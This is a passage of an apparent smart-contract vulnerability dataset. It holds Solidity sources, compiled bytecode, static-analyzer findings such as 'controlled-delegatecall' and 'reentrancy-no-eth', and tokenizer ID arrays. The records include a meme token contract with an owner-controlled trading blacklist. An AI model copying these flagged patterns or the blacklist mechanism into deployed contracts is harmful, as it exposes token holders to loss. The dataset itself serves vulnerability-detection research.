3516906020810135151590604001356110ca565b60408051918252519081900360200190f35b34801561061f57600080fd5b506106016004803603602081101561063657600080fd5b5035611163565b34801561064957600080fd5b506106016111e3565b34801561065e57600080fd5b506106016004803603602081101561067557600080fd5b50356001600160a01b03166111e9565b34801561069157600080fd5b50610601611254565b3480156106a657600080fd5b5061060161125a565b3480156106bb57600080fd5b506106e2600480360360208110156106d257600080fd5b50356001600160a01b03166112ca565b005b3480156106f057600080fd5b506107176004803603602081101561070757600080fd5b50356001600160a01b0316611333565b60408051921515835260208301919091528051918290030190f35b34801561073e57600080fd5b506105ac6004803603606081101561075557600080fd5b506001600160a01b038135811691602081013590911690604001356113cb565b34801561078157600080fd5b506106016004803603604081101561079857600080fd5b506001600160a01b038135169060200135611442565b3480156107ba57600080fd5b506107c36114b1565b604080516001600160a01b039092168252519081900360200190f35b3480156107eb57600080fd5b506107f46114c0565b6040805160ff9092168252519081900360200190f35b34801561081657600080fd5b506106016004803603606081101561082d57600080fd5b506001600160a01b03813516906020810135151590604001356114c9565b34801561085757600080fd5b506106016004803603602081101561086e57600080fd5b50356001600160a01b0316611540565b34801561088a57600080fd5b506106016115ab565b34801561089f57600080fd5b50610601600480360360208110156108b657600080fd5b50356115fc565b3480156108c957600080fd5b506105ac600480360360208110156108e057600080fd5b50356001600160a01b031661165c565b3480156108fc57600080fd5b5061044b6004803603602081101561091357600080fd5b81019060208101813564010000000081111561092e57600080fd5b82018360208201111561094057600080fd5b8035906020019184600183028401116401000000008311171561096257600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295506116c3945050505050565b3480156109af57600080fd5b50610601600480360360208110156109c657600080fd5b50356001600160a01b03166118fd565b3480156109e257600080fd5b50610601611968565b3480156109f757600080fd5b5061071760048036036020811015610a0e57600080fd5b50356001600160a01b031661196e565b348015610a2a57600080fd5b506106e260048036036060811015610a4157600080fd5b6001600160a01b03823516916020810135151591810190606081016040820135640100000000811115610a7357600080fd5b820183602082011115610a8557600080fd5b80359060200191846001830284011164010000000083111715610aa757600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295506119db945050505050565b348015610af457600080fd5b506107c3611bc8565b348015610b0957600080fd5b506107c3611bd7565b348015610b1e57600080fd5b5061060160048036036020811015610b3557600080fd5b5035611be6565b348015610b4857600080fd5b50610601611c46565b348015610b5d57600080fd5b506107c3611c4c565b348015610b7257600080fd5b5061060160048036036020811015610b8957600080fd5b50356001600160a01b0316611c5b565b348015610ba557600080fd5b50610601611cc6565b348015610bba57600080fd5b5061060160048036036020811015610bd157600080fd5b5035611d17565b348015610be457600080fd5b50610601611d77565b348015610bf957600080fd5b5061044b611d7d565b348015610c0e57600080fd5b5061060160048036036020811015610c2557600080fd5b50356001600160a01b0316611dd5565b348015610c4157600080fd5b5061060160048036036020811015610c5857600080fd5b5035611e40565b348015610c6b57600080fd5b50610601611ea0565b348015610c8057600080fd5b506105ac60048036036040811015610c9757600080fd5b506001600160a01b038135169060200135611ef1565b348015610cb957600080fd5b50610601611f60565b348015610cce57600080fd5b50610601611f66565b348015610ce357600080fd5b5061060160048036036060811015610cfa57600080fd5b506001600160a01b03813581169160208101359091169060400135611fb7565b348015610d2657600080fd5b5061060160048036036020811015610d3d57600080fd5b50356001600160a01b031661202e565b348015610d5957600080fd5b50610601612099565b348015610d6e57600080fd5b50610d9560048036036020811015610d8557600080fd5b50356001600160a01b03166120ea565b604080519485526020850193909352838301919091526060830152519081900360800190f35b348015610dc757600080fd5b5061060160048036036020811015610dde57600080fd5b5035612195565b348015610df157600080fd5b5061060160048036036020811015610e0857600080fd5b50356121f5565b348015610e1b57600080fd5b5061060160048036036040811015610e3257600080fd5b506001600160a01b0381358116916020013516612255565b348015610e5657600080fd5b506106016122c8565b348015610e6b57600080fd5b5061060160048036036020811015610e8257600080fd5b50356001600160a01b0316612319565b348015610e9e57600080fd5b506107c3612384565b348015610eb357600080fd5b5061060160048036036060811015610eca57600080fd5b506001600160a01b03813581169160208101359160409091013516612393565b348015610ef657600080fd5b506107c361240d565b348015610f0b57600080fd5b50610601612421565b348015610f2057600080fd5b5061060160048036036020811015610f3757600080fd5b5035612472565b348015610f4a57600080fd5b5061060160048036036040811015610f6157600080fd5b506001600160a01b03813516906020013515156124d2565b348015610f8557600080fd5b506105ac612545565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156110135780601f10610fe857610100808354040283529160200191611013565b820191906000526020600020905b815481529060010190602001808311610ff657829003601f168201915b505050505081565b601554606090611034906001600160a01b03168361254a565b92915050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b03167f095ea7b3000000000000000000000000000000000000000000000000000000001790526000906060906110a99061101b565b90508080602001905160208110156110c057600080fd5b5051949350505050565b604080516001600160a01b0385166024820152831515604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03167f0a28e9fb000000000000000000000000000000000000000000000000000000001790526000906060906111419061101b565b905080806020019051602081101561115857600080fd5b505195945050505050565b6040805160248082018490528251808303909101815260449091019091526020810180516001600160e01b03167f0e752702000000000000000000000000000000000000000000000000000000001790526000906060906111c39061101b565b90508080602001905160208110156111da57600080fd5b50519392505050565b60085481565b604080516001600160a01b0383166024808301919091528251808303909101815260449091019091526020810180516001600160e01b03167f17bfdfbc000000000000000000000000000000000000000000000000000000001790526000906060906111c39061101b565b600d5481565b6040805160048152602481019091526020810180516001600160e01b03167f182df0f5000000000000000000000000000000000000000000000000000000001790526000906060906112ab906116c3565b90508080602001905160208110156112c257600080fd5b505191505090565b604080516001600160a01b0383166024808301919091528251808303909101815260449091019091526020810180516001600160e01b03167f1be195600000000000000000000000000000000000000000000000000000000017905261132f9061101b565b5050565b604080516001600160a01b0383166024808301919091528251808303909101815260449091019091526020810180516001600160e01b03167f1fd0d3d80000000000000000000000000000000000000000000000000000000017905260009081906060906113a0906116c3565b90508080602001905160408110156113b757600080fd5b508051602090910151909350915050915091565b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03167f23b872dd000000000000000000000000000000000000000000000000000000001790526000906060906111419061101b565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b03167f2608f818000000000000000000000000000000000000000000000000000000001790526000906060906110a99061101b565b6004546001600160a01b031681565b60035460ff1681565b604080516001600160a01b0385166024820152831515604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03167f318853c8000000000000000000000000000000000000000000000000000000001790526000906060906111419061101b565b604080516001600160a01b0383166024808301919091528251808303909101815260449091019091526020810180516001600160e01b03167f3af9e669000000000000000000000000000000000000000000000000000000001790526000906060906111c39061101b565b6040805160048152602481019091526020810180516001600160e01b03167f3b1d21a2000000000000000000000000000000000000000000000000000000001790526000906060906112ab906116c3565b6040805160248082018490528251808303909101815260449091019091526020810180516001600160e01b03167f3e941010000000000000000000000000000000000000000000000000000000001790526000906060906111c39061101b565b604080516001600160a01b0383166024808301919091528251808303909101815260449091019091526020810180516001600160e01b03167f4145bd38000000000000000000000000000000000000000000000000000000001790526000906060906111c3905b606060006060306001600160a01b0316846040516024018080602001828103825283818151815260200191508051906020019080838360005b838110156117145781810151838201526020016116fc565b50505050905090810190601f1680156117415780820380516001836020036101000a031916815260200191505b5060408051601f198184030181529181526020820180516001600160e01b03167f0933c1ed00000000000000000000000000000000000000000000000000000000178152905182519295509350839250908083835b602083106117b55780518252601f199092019160209182019101611796565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855afa9150503d8060008114611815576040519150601f19603f3d011682016040523d82523d6000602084013e61181a565b606091505b5091509150600082141561182f573d60208201fd5b80806020019051602081101561184457600080fd5b810190808051604051939291908464010000000082111561186457600080fd5b90830190602082018581111561187957600080fd5b825164010000000081118282018810171561189357600080fd5b82525081516020918201929091019080838360005b838110156118c05781810151838201526020016118a8565b50505050905090810190601f1680156118ed5780820380516001836020036101000a031916815260200191505b5060405250505092505050919050565b604080516001600160a01b0383166024808301919091528251808303909101815260449091019091526020810180516001600160e01b03167f4576b5db000000000000000000000000000000000000000000000000000000001790526000906060906111c39061101b565b600b5481565b604080516001600160a01b0383166024808301919091528251808303909101815260449091019091526020810180516001600160e01b03167f530e75930000000000000000000000000000000000000000000000000000000017905260009081906060906113a0906116c3565b60035461010090046001600160a01b03163314611a295760405162461bcd60e51b81526004018080602001828103825260398152602001806126446039913960400191505060405180910390fd5b8115611a7c576040805160048152602481019091526020810180516001600160e01b03167f153ab50500000000000000000000000000000000000000000000000000000000179052611a7a9061101b565b505b601580546001600160a01b038581167fffffffffffffffffffffffff00000000000000000000000000000000000000008316179092556040516020602482018181528551604484015285519490931693611b79938693909283926064909201919085019080838360005b83811015611afe578181015183820152602001611ae6565b50505050905090810190601f168015611b2b5780820380516001836020036101000a031916815260200191505b5060408051601f198184030181529190526020810180516001600160e01b03167f56e6772800000000000000000000000000000000000000000000000000000000179052925061101b915050565b50601554604080516001600160a01b038085168252909216602083015280517fd604de94d45953f9138079ec1b82d533cb2160c906d1076d1f7ed54befbca97a9281900390910190a150505050565b6015546001600160a01b031681565b6005546001600160a01b031681565b6040805160248082018490528251808303909101815260449091019091526020810180516001600160e01b03167f601a0bf1000000000000000000000000000000000000000000000000000000001790526000906060906111c39061101b565b60095481565b6014546001600160a01b031681565b604080516001600160a01b0383166024808301919091528251808303909101815260449091019091526020810180516001600160e01b03167f70a08231000000000000000000000000000000000000000000000000000000001790526000906060906111c3906116c3565b6040805160048152602481019091526020810180516001600160e01b03167f73acee98000000000000000000000000000000000000000000000000000000001790526000906060906112ab9061101b565b6040805160248082018490528251808303909101815260449091019091526020810180516001600160e01b03167f852a12e3000000000000000000000000000000000000000000000000000000001790526000906060906111c39061101b565b600c5481565b6002805460408051602060018416156101000260001901909316849004601f810184900484028201840190925281815292918301828280156110135780601f10610fe857610100808354040283529160200191611013565b604080516001600160a01b0383166024808301919091528251808303909101815260449091019091526020810180516001600160e01b03167f95dd9193000000000000000000000000000000000000000000000000000000001790526000906060906111c3906116c3565b6040805160248082018490528251808303909101815260449091019091526020810180516001600160e01b03167fa0712d68000000000000000000000000000000000000000000000000000000001790526000906060906111c39061101b565b6040805160048152602481019091526020810180516001600160e01b03167fa6afed95000000000000000000000000000000000000000000000000000000001790526000906060906112ab9061101b565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b03167fa9059cbb000000000000000000000000000000000000000000000000000000001790526000906060906110a99061101b565b600a5481565b6040805160048152602481019091526020810180516001600160e01b03167fae9d70b0000000000000000000000000000000000000000000000000000000001790526000906060906112ab906116c3565b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03167fb2a02ff1000000000000000000000000000000000000000000000000000000001790526000906060906111419061101b565b604080516001600160a01b0383166024808301919091528251808303909101815260449091019091526020810180516001600160e01b03167fb71d1a0c000000000000000000000000000000000000000000000000000000001790526000906060906111c39061101b565b6040805160048152602481019091526020810180516001600160e01b03167fbd6d894d000000000000000000000000000000000000000000000000000000001790526000906060906112ab9061101b565b604080516001600160a01b0383166024808301919091528251808303909101815260449091019091526020810180516001600160e01b03167fc37f68e20000000000000000000000000000000000000000000000000000000017905260009081908190819060609061215b906116c3565b905080806020019051608081101561217257600080fd5b508051602082015160408301516060909301519199909850919650945092505050565b6040805160248082018490528251808303909101815260449091019091526020810180516001600160e01b03167fc5ebeaec000000000000000000000000000000000000000000000000000000001790526000906060906111c39061101b565b6040805160248082018490528251808303909101815260449091019091526020810180516001600160e01b03167fdb006a75000000000000000000000000000000000000000000000000000000001790526000906060906111c39061101b565b604080516001600160a01b03808516602483015283166044808301919091528251808303909101815260649091019091526020810180516001600160e01b03167fdd62ed3e000000000000000000000000000000000000000000000000000000001790526000906060906110a9906116c3565b6040805160048152602481019091526020810180516001600160e01b03167fe9c714f2000000000000000000000000000000000000000000000000000000001790526000906060906112ab9061101b565b604080516001600160a01b0383166024808301919091528251808303909101815260449091019091526020810180516001600160e01b03167ff2b3abbd000000000000000000000000000000000000000000000000000000001790526000906060906111c39061101b565b6006546001600160a01b031681565b604080516001600160a01b0380861660248301526044820185905283166064808301919091528251808303909101815260849091019091526020810180516001600160e01b03167ff5e3c462000000000000000000000000000000000000000000000000000000001790526000906060906111419061101b565b60035461010090046001600160a01b031681565b6040805160048152602481019091526020810180516001600160e01b03167ff8f9da28000000000000000000000000000000000000000000000000000000001790526000906060906112ab906116c3565b6040805160248082018490528251808303909101815260449091019091526020810180516001600160e01b03167ffca7820b000000000000000000000000000000000000000000000000000000001790526000906060906111c39061101b565b604080516001600160a01b03841660248201528215156044808301919091528251808303909101815260649091019091526020810180516001600160e01b03167ffd9caad7000000000000000000000000000000000000000000000000000000001790526000906060906110a99061101b565b600181565b606060006060846001600160a01b0316846040518082805190602001908083835b6020831061258a5780518252601f19909201916020918201910161256b565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d80600081146125ea576040519150601f19603f3d011682016040523d82523d6000602084013e6125ef565b606091505b50915091506000821415612604573d60208201fd5b94935050505056fe43457263323044656c656761746f723a66616c6c6261636b3a2063616e6e6f742073656e642076616c756520746f2066616c6c6261636b43457263323044656c656761746f723a3a5f736574496d706c656d656e746174696f6e3a2043616c6c6572206d7573742062652061646d696ea265627a7a723158201b590db62bd82d5f8cb72c96e4a8bb77fcfb4e0babd72787f7f438abe0afc30e64736f6c63430005100032
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-delegatecall", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'controlled-delegatecall', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'erc20-interface', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 26187, 22203, 16409, 23777, 2683, 11387, 2620, 18139, 2581, 2546, 18139, 20958, 28756, 2497, 2692, 2094, 2620, 23352, 21057, 11387, 16409, 2549, 4215, 2278, 2509, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1019, 1012, 2385, 1025, 12324, 1000, 1012, 1013, 14931, 11045, 11483, 3334, 12172, 2015, 1012, 14017, 1000, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 7328, 1005, 1055, 8292, 11890, 11387, 9247, 29107, 4263, 3206, 1008, 1030, 5060, 14931, 11045, 3619, 2029, 10236, 2019, 1041, 11514, 1011, 2322, 10318, 1998, 11849, 2000, 2019, 7375, 1008, 1030, 3166, 7328, 1008, 1013, 3206, 8292, 11890, 11387, 9247, 29107, 4263, 2003, 14931, 11045, 11483, 3334, 12172, 1010, 8292, 11890, 11387, 18447, 2121, 12172, 1010, 3729, 12260, 20697, 28741, 3334, 12172, 1063, 1013, 1008, 1008, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,180
0x9655ff97770aecfa290f0805a007341e312c3f8b
pragma solidity ^0.5.8; contract ProofOfExistence { event Attestation(bytes32 indexed hash); function attest(bytes32 hash) public { emit Attestation(hash); } }
0x6080604052348015600f57600080fd5b506004361060285760003560e01c806323c3617f14602d575b600080fd5b604760048036036020811015604157600080fd5b50356049565b005b60405181907ff20b16083c01f60fc370c17ff791fb1ae1bb8e313990d185528f5e4e2d3a34b490600090a25056fea265627a7a72305820d0fe6dbc68ed6a95f2aaa6288d577ca6a8532c5bc5748219e2de01823040532664736f6c634300050a0032
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 26187, 2629, 4246, 2683, 2581, 2581, 19841, 6679, 2278, 7011, 24594, 2692, 2546, 2692, 17914, 2629, 2050, 8889, 2581, 22022, 2487, 2063, 21486, 2475, 2278, 2509, 2546, 2620, 2497, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1019, 1012, 1022, 1025, 3206, 6947, 11253, 10288, 27870, 5897, 1063, 2724, 2012, 22199, 3370, 1006, 27507, 16703, 25331, 23325, 1007, 1025, 3853, 2012, 22199, 1006, 27507, 16703, 23325, 1007, 2270, 1063, 12495, 2102, 2012, 22199, 3370, 1006, 23325, 1007, 1025, 1065, 1065, 100, 102, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
59,181
0x965607fb038d07857a99a5c4abab028bd3cb9540
/** * * * * SPDX-License-Identifier: UNLICENSED * */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract GoofyInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"Goofy Inu"; string private constant _symbol = unicode"GOOF"; uint8 private constant _decimals = 9; uint256 private _taxFee = 2; uint256 private _teamFee = 4; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen = false; bool private _noTaxMode = false; bool private inSwap = false; uint256 private walletLimitDuration; struct User { uint256 buyCD; bool exists; } event MaxBuyAmountUpdated(uint _maxBuyAmount); event CooldownEnabledUpdated(bool _cooldown); event FeeMultiplierUpdated(uint _multiplier); event FeeRateUpdated(uint _rate); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { require(!_bots[from] && !_bots[to]); if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(tradingOpen, "Trading not yet enabled."); if (walletLimitDuration > block.timestamp) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _tTotal.mul(2).div(100)); } } uint256 contractTokenBalance = balanceOf(address(this)); if(!inSwap && from != uniswapV2Pair && tradingOpen) { if(contractTokenBalance > 0) { if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(5).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(5).div(100); } swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to] || _noTaxMode){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); tradingOpen = true; walletLimitDuration = block.timestamp + (60 minutes); } function setMarketingWallet (address payable marketingWalletAddress) external { require(_msgSender() == _FeeAddress); _isExcludedFromFee[_marketingWalletAddress] = false; _marketingWalletAddress = marketingWalletAddress; _isExcludedFromFee[marketingWalletAddress] = true; } function excludeFromFee (address payable ad) external { require(_msgSender() == _FeeAddress); _isExcludedFromFee[ad] = true; } function includeToFee (address payable ad) external { require(_msgSender() == _FeeAddress); _isExcludedFromFee[ad] = false; } function setNoTaxMode(bool onoff) external { require(_msgSender() == _FeeAddress); _noTaxMode = onoff; } function setTeamFee(uint256 team) external { require(_msgSender() == _FeeAddress); require(team <= 4); _teamFee = team; } function setTaxFee(uint256 tax) external { require(_msgSender() == _FeeAddress); require(tax <= 2); _taxFee = tax; } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) { _bots[bots_[i]] = true; } } } function delBot(address notbot) public onlyOwner { _bots[notbot] = false; } function isBot(address ad) public view returns (bool) { return _bots[ad]; } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
